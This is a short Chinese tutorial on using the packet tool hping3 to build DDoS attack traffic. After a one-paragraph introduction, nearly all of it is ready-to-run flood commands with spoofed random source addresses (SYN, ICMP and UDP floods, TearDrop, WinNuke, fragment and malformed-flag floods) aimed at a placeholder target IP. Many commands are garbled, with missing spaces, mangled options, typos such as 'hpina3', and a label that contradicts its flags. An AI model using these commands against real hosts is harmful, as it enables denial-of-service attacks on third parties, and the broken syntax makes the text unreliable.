使用hping3构造各种类型的DDOS攻击包

hping 是 面向命令行的用于生成和解析TCP/IP协议数据包汇编/分析的开源工具。目前最新版是 hping3，它支持TCP，UDP，ICMP和RAW-IP协议，具有跟踪路由模式，能够在覆盖的信道之间发送文件以及许多其他功能，支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping 优势在于能够定制数据包的各个部分，因此用户可以灵活对目标机进行细致地探测。

一、构造各种类型的DDOS攻击包
SYN洪水攻击：

hping3-S -U-flood-V --rand-source 目标主机IP

ICMP洪水攻击：

hping3 -1 -U--flood -V--rand-source 目标主机IP

UDP洪水攻击：

hping3 -2 -U -flood -V -rand -source 目标主机IP

端口扫描：

hping3 目标主机IP--scan 1-100-flood -S--spoof 60

末知协议类型攻击：

hping3 日标主机IP --rawip --ipproto 150-d 1000--destport 80

TearDrop攻击：

hping3 目标主机IP -1 -d 5000 --fragoff 1200 --frag --mtu 1000

hping3 -b -flood--rand-source 目标主机IP

IP数据块分片传输攻击：

hping3 -f--flood --rand-source 目标主机IP

WinNuke攻击:

hping3 目标主机IP -U-p 139-flood -rand-source

超大ICMP数据攻击：

hping3 -1 -d 1200-flood --rand-source 目标主机IP

IP记录路由选项攻击报文：

hpina3 -G --flood --rand-source 目标主机IP

SYN数据分片传输攻击：

hping3 -S -f-flood--rand-source 目标主机IP

TCP报头标志位全为0：

hping3 -b -flood--rand-source 目标主机IP

 SYN和FIN标志位同为0:

hping3 -S -F -flood -rand-source 目标主机IP

仅FIN标志位为1：

hping3 -F --flood --rand-source 目标主机IP